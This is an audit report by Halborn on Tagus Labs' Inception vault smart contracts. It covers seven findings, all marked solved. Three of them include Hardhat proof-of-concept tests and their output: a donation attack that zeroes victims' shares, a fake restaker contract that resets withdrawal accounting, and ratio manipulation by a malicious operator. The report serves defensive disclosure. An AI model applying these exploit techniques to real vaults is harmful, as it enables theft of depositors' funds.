// Private Smart Contract Security Assessment 04.17.2024 - 05.01.2024

Smart Contracts

Tagus Labs

HALBORN

Smart Contracts - Tagus Labs

Prepared by: HALBORN

Last Updated 05/16/2024

Date of Engagement by: April 17th, 2024 - May 1st, 2024

Summary

100% ⓘ OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
7	1	1	1	2	2

TABLE OF CONTENTS

1. Introduction

Tagus Labs engaged Halborn to conduct a security assessment on their smart contracts beginning on *17/04/2024* and ending on *05/01/2024*. The security assessment was scoped to the smart contracts provided to the Halborn team.

2. Assessment Summary

The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to evaluate the security of the smart contract.

The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some security risks that were addressed by the `Tagus Labs team`.

3. Test Approach And Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance code coverage and quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. (`solgraph`)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Scanning of solidity files for vulnerabilities, security hot-spots or bugs. (`MythX`)
- Static Analysis of security for scoped contract, and imported functions. (`Slither`)
- Testnet deployment. (`Brownie`, `Anvil`, `Foundry`)

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILIY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33

EXPLOITABILIY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Integrity (I)	None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C)	0 0.25 0.5 0.75 1
Availability (A)	None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C)	0 0.25 0.5 0.75 1
Deposit (D)	None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C)	0 0.25 0.5 0.75 1
Yield (Y)	None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C)	0 0.25 0.5 0.75 1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N) Partial (R:P) Full (R:F)	1 0.5 0.25
Scope (s)	Changed (S:C) Unchanged (S:U)	1.25 1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

5. SCOPE

FILES AND REPOSITORY

(a) Repository: smart-contracts

(b) Assessed Commit ID: 060fb51

(c) Items in scope:

- contracts/Inception/vaults/InceptionVault.sol
- contracts/Inception/eigenlayer-handler
- contracts/Inception/restaker
- contracts/interfaces/*

Out-of-Scope:

REMEDIATION COMMIT ID:

- 0b33cca0b33cca
- 19504c819504c8
- 3c516c63c516c6
- 036ef53036ef53
- 3c516c63c516c6

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	1	1	2	2

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
VAULTS ARE VULNERABLE TO A DONATION ATTACK	Critical	SOLVED - 05/01/2024

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
_PENDINGWITHDRAWALAMOUNT CAN BE ARBITRARILY RESET	High	SOLVED - 04/27/2024
MALICIOUS OPERATOR UNDELEGATION CAN BREAK THE RATIO	Medium	SOLVED - 04/28/2024
USERS CAN CREATE AS MANY WITHDRAWALS REQUEST AS THEY WANT	Low	SOLVED - 05/12/2024
RESETTING DELEGATIONMANAGER WILL BREAK ACCOUNTING	Low	SOLVED - 05/15/2024
RATIO FUNCTION IS NOT GAS EFFICIENT	Informational	SOLVED - 05/12/2024
LACK OF __ERC165_INIT	Informational	SOLVED - 05/12/2024

7. FINDINGS & TECH DETAILS

7.1 VAULTS ARE VULNERABLE TO A DONATION ATTACK

// CRITICAL

Description

The ratio computation mechanism within the vault is susceptible to manipulation through a "donation attack." This attack vector is realized when a significant amount of tokens, equal to or exceeding `1e18`, is donated to the vault before any other transaction. Subsequent to this donation, the share price, or ratio, becomes permanently fixed at `1`, irrespective of the actual amount of deposited assets or the total supply of shares within the vault. The standard calculation method using `Convert.multiplyAndDivideCeil` rounds up and solidifies the ratio at `1`, regardless of subsequent transactions, thus effectively breaking the dynamic share pricing mechanism intended by the ERC4626 standard.

The persistent ratio of `1` distorts the share-to-asset conversion process, causing deposits less than `1e18` to round down to zero shares minted, leading to a total loss of the deposited assets for the user. This distortion prevents the vault from correctly accounting for new deposits, disrupting the intended proportional relationship between shares and underlying assets. It also introduces a vulnerability where the vault can no longer accurately represent the economic value of deposits and withdrawals, thereby undermining its functionality and user trust.

Proof of Concept

The following test has been added to `inceptionVaultV2.js` :

```
it("Donation Attack", async function () {
        console.log("------------ Donation Attack ------------");
        await iVault.connect(staker).deposit(100n, staker.address);
        console.log(`iToken totalSupply  : ${await iToken.totalSupply()}`);
        console.log(`total Assets 1      : ${await iVault.totalAssets()}`);
        console.log(`getTotalDeposited 1 : ${await iVault.getTotalDeposited()}`);
        console.log(`Ratio      1        : ${await iVault.ratio()}`);

        console.log("--- Attacker Donation 99stEth ---");
        await asset.connect(staker).transfer(iVault.getAddress(),99n * e18);
        console.log(`getTotalDeposited   : ${await iVault.getTotalDeposited() }`);
        console.log(`Ratio      2        : ${await iVault.ratio()}`);

        console.log("--- Victims Deposit ---");
        let deposited2 = 1n * e18;
        let upTo = 8n;
        for (let i = 0; i < upTo; i++) {
          await iVault.connect(staker2).deposit(deposited2, staker2.address);
          await iVault.connect(staker3).deposit(deposited2, staker3.address);
```

```
        }
        console.log(`Ratio      3        : ${await iVault.ratio()}`);
        console.log(`total Assets 3      : ${await iVault.totalAssets()}`);
        console.log(`Staker 1 Shares     : ${await iToken.balanceOf(staker)}`);
        console.log(`Staker 2 Deposit    : ${deposited2 * upTo / e18} eth`);
        console.log(`Staker 2 Shares     : ${await iToken.balanceOf(staker2)}`);
        console.log(`Staker 3 Deposit    : ${deposited2 * upTo / e18} eth`);
        console.log(`Staker 3 Shares     : ${await iToken.balanceOf(staker3)}`);

        console.log("--- Attacker Withdraw ---");
        const tx3 = await iVault.connect(staker).withdraw(99n, staker.address);
        const receipt3 = await tx3.wait();
        const events3 = receipt3.logs?.filter((e) => e.eventName === "Withdraw");
        let amount = events3[0].args["amount"] ;
        console.log(`Amount redeemed to attacker : ${amount/e18}`);
      });
```

Result :

```
---------- Donation Attack ----------
iToken totalSupply  : 99
total Assets 1      : 99
getTotalDeposited 1 : 99
Ratio      1        : 100000000000000000
--- Attacker Donation 99stEth ---
getTotalDeposited   : 9900000000000000099
Ratio      2        : 1
--- Victims Deposit ---
Ratio      3        : 1
total Assets 3      : 11500000000000000083
Staker 1 Shares     : 99
Staker 2 Deposit    : 8 eth
Staker 2 Shares     : 0
Staker 3 Deposit    : 8 eth
Staker 3 Shares     : 0
--- Attacker Withdraw ---
Amount redeemed to attacker : 99
      ✔ Donation Attack (742ms)
```

BVSS

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:C/Y:N/R:N/S:C (10.0)

Recommendation

To mitigate this vulnerability, it is advised to:

- **Pre-Mint Shares**: Establish the vault with an initial deposit of shares that reflect a non-trivial amount of the underlying asset, preventing share price manipulation from being economically feasible.
- **Guard Against Zero Share Minting**: Implement safeguards within the deposit logic to reject any deposit transaction that would result in zero shares being minted. This could involve verifying the expected number of shares before completing the deposit transaction.

Remediation Plan

SOLVED : The **Tagus Labs team** implemented a check to ensure depositors get some shares when depositing LST tokens + all vaults are already deployed and already have a TVL in mainnet.

Remediation Hash

https://github.com/inceptionlrt/smart-contracts/commit/0b33cca999f2ed1e29125b61376386507da4404c

References

inceptionlrt/smart-contracts/contracts/Inception/vaults/InceptionVault.sol#L329

7.2 _PENDINGWITHDRAWALAMOUNT CAN BE ARBITRARILY RESET

// HIGH

Description

The Tagus protocol incorporates a function named `getTotalDeposited()` which serves the purpose of aggregating all tokenized assets under its purview:

```
function getTotalDeposited() public view returns (uint256) {
        //1 getTotalDelegated() = LRT tokens delegated to EigenLayer
        //2 totalAssets =
ERC20(_assetStrategy.underlyingToken()).balanceOf(address(this)) => rETH or stETH
balance of Vault (can be donated )
        //3 _pendingWithdrawalAmount =
                        // incremented on undelegateFrom() || undelegateVault()
                        // decremented on claimCompletedWithdrawals()
        return getTotalDelegated() + totalAssets() + _pendingWithdrawalAmount;
    }

 /// returns the total deposited into asset strategy
    function getTotalDelegated() public view returns (uint256 total) {

        //E Fetch number of restakers = number of InceptionRestaker contracts
deployed
        uint256 stakersNum = restakers.length;

        //E loop through all stub proxies and fetch values staked by them
        for (uint256 i = 0; i < stakersNum; ) {
            if (restakers[i] == address(0)) {  continue; }

            total += strategy.userUnderlyingView(restakers[i]);

            unchecked {++i;}
        }
        //E add it the vault delegated amount
        return total + strategy.userUnderlyingView(address(this));
    }
```

The variable `_pendingWithdrawalAmount` ensures that assets requested for redemption from EigenLayer —post-burn of corresponding shares—are appropriately counted, thus maintaining accurate token valuation within the Tagus vault.
Alteration of `_pendingWithdrawalAmount` occurs in two principal scenarios:

- Incrementation upon the execution of undelegation events:

```
function undelegateFrom(
        address elOperatorAddress,
        uint256 amount
    ) external whenNotPaused nonReentrant onlyOperator {
        /// ... ///

        _pendingWithdrawalAmount += amount;
        IInceptionRestaker(stakerAddress).withdrawFromEL(shares);
    }

    /// @dev performs creating a withdrawal request from EigenLayer
    /// @dev requires a specific amount to withdraw
    function undelegateVault(
        uint256 amount
    ) external whenNotPaused nonReentrant onlyOperator {
        /// ... ///
        _pendingWithdrawalAmount += amount;

        delegationManager.queueWithdrawals(withdrawals);

    }
```

Decrementing in response to the successful claiming of withdrawals from EigenLayer:

```
/// @dev claims completed withdrawals from EigenLayer, if they exist
    function claimCompletedWithdrawals(
        address restaker,
        IDelegationManager.Withdrawal[] calldata withdrawals
    ) public whenNotPaused nonReentrant {
        uint256 withdrawalsNum = withdrawals.length;
        IERC20[][] memory tokens = new IERC20[][](withdrawalsNum);
        uint256[] memory middlewareTimesIndexes = new uint256[](withdrawalsNum);
        bool[] memory receiveAsTokens = new bool[](withdrawalsNum);

        for (uint256 i = 0; i < withdrawalsNum; ) {
            tokens[i] = new IERC20[](1);
            tokens[i][0] = _asset;
            receiveAsTokens[i] = true;
            unchecked {
                i++;
            }
        }

        uint256 withdrawnAmount;
        if (restaker == address(this)) {
            withdrawnAmount = _claimCompletedWithdrawalsForVault(
```

```
                withdrawals,
                tokens,
                middlewareTimesIndexes,
                receiveAsTokens
            );
        } else {
                //E @audit UNSAFE CALL TO EXTERNAL CONTRACT IS POSSIBLE
            withdrawnAmount = IInceptionRestaker(restaker).claimWithdrawals(
                withdrawals,
                tokens,
                middlewareTimesIndexes,
                receiveAsTokens
            );
        }

        emit WithdrawalClaimed(withdrawnAmount);


        _pendingWithdrawalAmount = _pendingWithdrawalAmount < withdrawnAmount
            ? 0
            : _pendingWithdrawalAmount - withdrawnAmount;

        if (_pendingWithdrawalAmount < 7) {
            _pendingWithdrawalAmount = 0;
        }

        _updateEpoch();
    }

    function updateEpoch() external whenNotPaused onlyOperator {
        _updateEpoch();
    }
```

However in the code above, no strict restriction have been added, allowing any user to call this function with an arbitrary `restaker` and a null array of withdrawals requests. This lack of check can lead to an arbitrary contract called and any value returned that could reset the variable `_pendingWithdrawalAmount` to 0 even if no token has been claimed and disrupt the ratio of the vault.

Proof of Concept

The following test has been added to `inceptionVaultV2.js` :

```
it("Only Call UpdateEpoch", async function () {
        console.log("\n---- Reset _pendingWithdrawalAmount ----")
        let deposited = 10n * e18;
        let upTo = 10;
        for (let i = 0; i < upTo; i++) {
```

```
        await iVault.connect(staker).deposit(deposited, staker.address);
        await iVault.connect(staker2).deposit(deposited, staker2.address);
        await iVault.connect(staker3).deposit(deposited, staker3.address);
      }

      await iVault.connect(iVaultOperator).depositAssetIntoStrategyFromVault(await
iVault.totalAssets());
      await
iVault.connect(iVaultOperator).delegateToOperatorFromVault(nodeOperators[0],
ethers.ZeroHash, [ethers.ZeroHash, 0]);

      let amountStaker1 = await iToken.balanceOf(staker);
      let amountStaker2 = await iToken.balanceOf(staker2);
      let amountStaker3 = await iToken.balanceOf(staker3);
      let shares = amountStaker1 + amountStaker2 + amountStaker3;
      await iVault.connect(iVaultOperator).undelegateVault(shares);
      console.log(`ratio Before                    : ${await iVault.ratio()}`);
      let restakerImp = await ethers.deployContract("InceptionRestaker2");
      await iVault.claimCompletedWithdrawals(restakerImp.getAddress(),[]);
      console.log(`ratio After                     : ${await iVault.ratio()}`);
    });
```

And this contract has been added to the `src` folder :

```
contract InceptionRestaker2 is IInceptionRestaker, InceptionRestakerErrors
{
    /// ... ///


    function claimWithdrawals(
        IDelegationManager.Withdrawal[] calldata withdrawals,
        IERC20[][] calldata tokens,
        uint256[] calldata middlewareTimesIndexes,
        bool[] calldata receiveAsTokens
    ) external returns (uint256) {
        return type(uint256).max;
    }
    /// ... ///

 }
```

Result :

BVSS

AO:A/AC:L/AX:L/C:N/I:L/A:N/D:M/Y:M/R:N/S:C (8.6)

Recommendation

To address the vulnerability and restore secure operation, it is recommended that:

- Mandatory submission of a known and verified `restaker` address be enforced within the `claimCompletedWithdrawals()` function.
- The function should reject calls that contain a zero-length array for withdrawal requests, ensuring only legitimate redemption operations can trigger a decrease in `_pendingWithdrawalAmount`.

Remediation Plan

SOLVED : The **Tagus Labs team** implemented a check on `claimCompletedWithdrawals` to ensure the restaker is known by the contract.

Remediation Hash

https://github.com/inceptionlrt/smart-contracts/commit/19504c842ce99e998c5e221145aa0adbb6084880

References

inceptionlrt/smart-contracts/contracts/Inception/eigenlayer-handler/EigenLayerHandler.sol#L241

7.3 MALICIOUS OPERATOR UNDELEGATION CAN BREAK THE RATIO

// MEDIUM

Description

The implementation of the vault does not account for the manual undelegation of assets by EigenLayer operators through direct interactions with the `delegationManager.connect(signer).undelegate(withdrawer)`. This oversight permits operators, if acting with malicious intent, to unilaterally remove delegated assets without corresponding updates to the vault's accounting mechanism. As the function `getTotalDeposited()` continues to report the pre-undelegation amounts, it inaccurately reflects the vault's actual asset holdings.

Impacts :

- **Imbalance in Asset-to-Share Ratio**: Following manual undelegation, the ratio, which determines the number of shares per asset, becomes inflated due to the reported total assets being lower than the actual assets. This inflation lasts until the vault's state is correctly updated, which according to the EigenLayer's M2 update, can take up to one week.
- **Exploitation Window**: During this period, malicious actors or even uninformed users can redeem shares at an inflated value, effectively withdrawing a greater value of assets per share than entitled. Conversely, users depositing during this period receive fewer shares for their assets, potentially leading to financial losses.

Proof of Concept

The following test has been added to `inceptionVaultV2.js` :

```
it("Operator becomes malicious", async function () {
        console.log("--- Vault Operator Add Operators ---");
        const newELOperator = nodeOperators[1];
        const tx = await iVault.addELOperator(newELOperator);
        const receipt = await tx.wait();
        const events = receipt.logs?.filter((e) => e.eventName ===
"ELOperatorAdded");
        expect(events.length).to.be.eq(1);
        expect(events[0].args["newELOperator"]).to.be.eq(newELOperator);
        await iVault.addELOperator(nodeOperators[2]);
        await iVault.addELOperator(nodeOperators[3]);


        // Users deposit to the vault
        console.log("--- Users Deposit to the vault ---");
        deposited = 100n * e18;
        await iVault.connect(staker).deposit(deposited, staker.address);
        await iVault.connect(staker2).deposit(deposited, staker2.address);
        await iVault.connect(staker3).deposit(deposited, staker3.address);
```

```
        console.log(`total Assets      : ${await iVault.totalAssets()}`);
        console.log(`total Delegated   : ${await iVault.getTotalDelegated()}`);

        // Delegate to these new operators
        console.log("--- Vault Operator delegates to EL ---");
        let amountToDelegate = 299999999999999999999n / 3n;
        await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate,
nodeOperators[1], ethers.ZeroHash, [ethers.ZeroHash, 0]);
        let restaker0 = await iVault.restakers(0);
        await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate,
nodeOperators[2], ethers.ZeroHash, [ethers.ZeroHash, 0]);
        await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate,
nodeOperators[3], ethers.ZeroHash, [ethers.ZeroHash, 0]);
        console.log(`total Assets    2 : ${await iVault.totalAssets()}`);
        console.log(`total Delegated 2 : ${await iVault.getTotalDelegated()}`);
        let ratio1 = await iVault.ratio()
        console.log(`Ratio           1 : ${ratio1}`);
        // Operator Undelegate Manually
        console.log("--- EigenLayer Operator undelegates manually ---");
        let withdrawer = await iVault.restakers(0);
        let delegationManagerAddr = await iVault.delegationManager();
        const delegationManager = await
ethers.getContractAt("IDelegationManager",delegationManagerAddr);
        // impersonate nodeOperator[1]
        await hre.network.provider.request({
          method: "hardhat_impersonateAccount",
          params: [nodeOperators[1]],
        });
        const signer = await ethers.provider.getSigner(nodeOperators[1])
        // undelegate
        await delegationManager.connect(signer).undelegate(withdrawer);
        console.log(`total Assets    3 : ${await iVault.totalAssets()}`);
        console.log(`total Delegated 3 : ${await iVault.getTotalDelegated()}`);
        let ratio2 = await iVault.ratio()
        console.log(`Ratio           2 : ${ratio2}`);

        console.log("--- Malicious Operator deposit tokens at a bigger ratio ---");
        await iVault.connect(staker4).deposit(deposited, staker4.address);
        let amountStaker4 = deposited * ratio1 / e18;
        let realAmountStaker4 = await iToken.balanceOf(staker4)
        console.log(`Staker 4 tokens           : ${realAmountStaker4}`);
        console.log(`Staker should have gotten : ${amountStaker4}`);
        console.log(`Benefits for staker4 : ${realAmountStaker4 - amountStaker4}`);
        // Operator takes this opportunity to mint inception tokens at a lower rate
        // Or users lose money
      });
```

Result :

```
--- Vault Operator Add Operators ---
--- Users Deposit to the vault ---
total Assets      : 29999999999999999999
total Delegated   : 0
--- Vault Operator delegates to EL ---
total Assets    2 : 3
total Delegated 2 : 29999999999999999994
Ratio           1 : 100000000000000001
--- EigenLayer Operator undelegates manually ---
total Assets    3 : 3
total Delegated 3 : 19999999999999999996
Ratio           2 : 150000000000000001
--- Malicious Operator deposit tokens at a bigger ratio ---
Staker 4 tokens           : 150000000000000000098
Staker should have gotten : 100000000000000000100
Benefits for staker4 : 49999999999999999998
      ✔ Operator becomes malicious (514ms)
```

BVSS

AO:S/AC:L/AX:L/C:C/I:C/A:C/D:C/Y:C/R:N/S:C (5.0)

Recommendation

It is recommended to integrate pre-transaction checks within the `deposit()` and `withdraw()` functions. These checks should verify the current delegation status of assets and, if discrepancies are detected due to undelegations not reflected in the vault's records, transactions should be reverted.

Remediation Plan

SOLVED : The **Tagus Labs team** implemented a new function `_verifyDelegated()` which ensure all delegated operators are still delegated to EigenLayer.

Remediation Hash

https://github.com/inceptionlrt/smart-contracts/commit/0b33cca999f2ed1e29125b61376386507da4404c

References

inceptionlrt/smart-contracts/contracts/Inception/eigenlayer-handler/EigenLayerHandler.sol#L194

7.4 USERS CAN CREATE AS MANY WITHDRAWALS REQUEST AS THEY WANT

// LOW

Description

The process for handling withdrawals within the vault consists of three main steps: initiating a withdrawal, updating the epoch based on the available balance, and redeeming the withdrawal. In the current implementation, when a user executes the **withdraw()** function, a **Withdrawal** struct is created and added to the **claimerWithdrawalsQueue**. This struct includes details such as the amount to be withdrawn and the receiver's address.

```
function withdraw(uint256 iShares, address receiver) external whenNotPaused
nonReentrant {
    ...
    claimerWithdrawalsQueue.push(
        Withdrawal({
            epoch: claimerWithdrawalsQueue.length,
            receiver: receiver,
            amount: _getAssetReceivedAmount(amount)
        })
    );
    ...
}
```

The **updateEpoch()** function then iterates through this queue to determine how many withdrawals can be covered with the available balance. If the total requested amount exceeds the available balance, the process halts, and the remaining requests are deferred.

```
function _updateEpoch() internal {
    uint256 withdrawalsNum = claimerWithdrawalsQueue.length;
    uint256 availableBalance = totalAssets() - redeemReservedAmount;

    for (uint256 i = epoch; i < withdrawalsNum; ) {
        if (claimerWithdrawalsQueue[i].amount > availableBalance) { break; }
        ...
        epoch++;
    }
}
```

The absence of limitations on the number of withdrawal requests a user can submit leads to a potential denial-of-service (DoS) vulnerability. If numerous withdrawal requests accumulate in the **claimerWithdrawalsQueue**, processing them during the **_updateEpoch()** operation can become computationally intensive and exceed gas limits, effectively stalling the withdrawal process. This can prevent legitimate withdrawals from being processed in a timely manner, impacting all users of the vault.

BVSS

AO:A/AC:M/AX:L/C:N/I:N/A:N/D:N/Y:M/R:N/S:C (4.2)

Recommendation

To mitigate this vulnerability and enhance system resilience, it is recommended to implement a mechanism that limits the number of active withdrawal requests a single user can have at any given time. This will prevent users from submitting a large number of unnecessary or redundant requests. Additionally, it is advised to introduce a limit to the number of requests processed per function call. This can prevent the function from hitting gas limits and allows for spreading the processing load over multiple transactions/blocks.

Remediation Plan

SOLVED : The **Tagus Labs team** implemented a min withdrawal amount to 0.0001 ETH which render the attack too expensive to be realized.

Remediation Hash

https://github.com/inceptionlrt/smart-contracts/commit/3c516c6975649db3304378df9ac3790aa1eed680#diff-1f7aac284eaef644124b7bd13c1c27e968b1130d26b3d6e23be5516d0f55e3fd

References

inceptionlrt/smart-contracts/contracts/Inception/vaults/InceptionVault.sol#L189

7.5 RESETTING DELEGATIONMANAGER WILL BREAK ACCOUNTING

// LOW

Description

The current implementation of the contract heavily relies on the **delegationManager** for multiple critical operations, including the delegation and withdrawal of assets. The function **setDelegationManager(IDelegationManager newDelegationManager)** permits updating the **delegationManager** address.

```
    //E @audit resetting delegation manager will break accounting
    function setDelegationManager( IDelegationManager newDelegationManager ) external
onlyOwner
    {
        emit
DelegationManagerChanged(address(delegationManager),address(newDelegationManager));
        delegationManager = newDelegationManager;
    }
```

This function has a goal to be used only one time, and it's critical that's it's only used one time. Moreover it configures which delegation manager contract is authorized to manage asset delegation and withdrawal processes. However, the ability to change this address dynamically introduces potential risks, particularly if the **delegationManager** is altered during a withdrawal operation.

BVSS

AO:S/AC:L/AX:L/C:N/I:M/A:M/D:C/Y:C/R:N/S:C (3.5)

Recommendation

Consider making the **delegationManager** address immutable or **setDelegationManager** only usable one time if frequent changes are not necessary for operational flexibility. This could be established during the contract deployment and not allowed to change post-deployment.

Remediation Plan

SOLVED : Tagus Labs team implemented a check to prevent a modification of this critical variable as it has been set.

Remediation Hash

https://github.com/inceptionlrt/smart-contracts/commit/036ef53198eb6564883339589f8df13c9dc2e36c

References

inceptionlrt/smart-contracts/contracts/Inception/eigenlayer-handler/EigenLayerHandler.sol#L360

7.6 RATIO FUNCTION IS NOT GAS EFFICIENT

// INFORMATIONAL

Description

The current implementation of the **ratio()** function in the smart contract inefficiently retrieves the total deposited amount twice due to repeated calls to **getTotalDeposited()**. This redundant fetching of the same data results in unnecessary gas costs, as each call to a state variable involves a read operation that consumes gas.

```
function ratio() public view returns (uint256) {
    uint256 denominator = getTotalDeposited() < totalAmountToWithdraw
        ? 0
        : getTotalDeposited() - totalAmountToWithdraw;

    if (denominator == 0 || IERC20(address(inceptionToken)).totalSupply() == 0) {
        return 1e18;
    }
    return
Convert.multiplyAndDivideCeil(IERC20(address(inceptionToken)).totalSupply(), 1e18,
denominator);
}
```

Score

AO:S/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

To enhance the gas efficiency of the **ratio()** function, it is recommended to store the results of **getTotalDeposited()** and **IERC20(address(inceptionToken)).totalSupply()** in local variables during the initial computation, thus reducing the number of state reads from twice to once for each variable. This modification will significantly decrease the gas consumption by minimizing the redundant access to storage.

```
function ratio() public view returns (uint256) {
    uint256 totalDeposited = getTotalDeposited();
    uint256 totalSupply = IERC20(address(inceptionToken)).totalSupply();

    uint256 denominator = totalDeposited < totalAmountToWithdraw
        ? 0
        : totalDeposited - totalAmountToWithdraw;

    if (denominator == 0 || totalSupply == 0) {
        return 1e18;
```

```
    }
    return Convert.multiplyAndDivideCeil(totalSupply, 1e18, denominator);
}
```

Remediation Plan

SOLVED : The **Tagus Labs team** modified the function and now stores the variables that are needed instead of re-calling each time the needed functions.

Remediation Hash

https://github.com/inceptionlrt/smart-contracts/commit/3c516c6975649db3304378df9ac3790aa1eed680

References

inceptionlrt/smart-contracts/contracts/Inception/vaults/InceptionVault.sol#L329

7.7 LACK OF __ERC165_INIT

// INFORMATIONAL

Description

In the `initialize` method of the `InceptionRestaker` contract, there is an omission of the `__ERC165_init()` call, which is part of the `ERC165Upgradeable` contract from OpenZeppelin. Even though it currently performs no operations,the `__ERC165_init()` function is designed to ensure that any future enhancements or modifications that might be added to the `ERC165Upgradeable` initialization process are correctly incorporated when the contract is upgraded.

Score

AO:S/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:C (0.0)

Recommendation

To ensure robustness and maintain upgrade safety, it is recommended to include the `__ERC165_init()` call in the initialization process of the `InceptionRestaker` contract. This change will safeguard against potential issues arising from future changes to the `ERC165Upgradeable` contract and ensure that the contract adheres to the standard initialization protocol for OpenZeppelin's upgradeable contracts.

```
function initialize(
    address delegationManager,
    address strategyManager,
    address strategy,
    address trusteeManager
) public initializer {
    __Pausable_init();
    __ReentrancyGuard_init();
    __Ownable_init();
    __ERC165_init(); // Ensure compatibility with future versions of
ERC165Upgradeable

    /// ... ///
}
```

Remediation Plan

SOLVED : The **Tagus Labs team** added `__ERC_165()` Init on the vault contract.

Remediation Hash

https://github.com/inceptionlrt/smart-contracts/commit/3c516c6975649db3304378df9ac3790aa1eed680

References

inceptionlrt/smart-contracts/contracts/Inception/restaker/InceptionRestaker.sol#L49

8. AUTOMATED TESTING

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework.
After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

```
→ smart-contracts-inception-v2 slither .
'npx hardhat clean' running (wd: /Users/liliancariou/Desktop/Halborn/audits/Tagus/smart-contracts-inception-v2)
'npx hardhat clean --global' running (wd: /Users/liliancariou/Desktop/Halborn/audits/Tagus/smart-contracts-inception-v2)
'npx hardhat compile --force' running (wd: /Users/liliancariou/Desktop/Halborn/audits/Tagus/smart-contracts-inception-v2)
INFO:Detectors:
InceptionRestaker2.depositAssetIntoStrategy(uint256) (contracts/Inception/restaker/InceptionRestakerTemp.sol#58-61) uses arbitrary from in transferFrom: _asset.transferFrom(_vault,address(this),amount) (contracts/Inception/restaker/InceptionRestakerTemp.sol#59)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#arbitrary-from-in-transferfrom
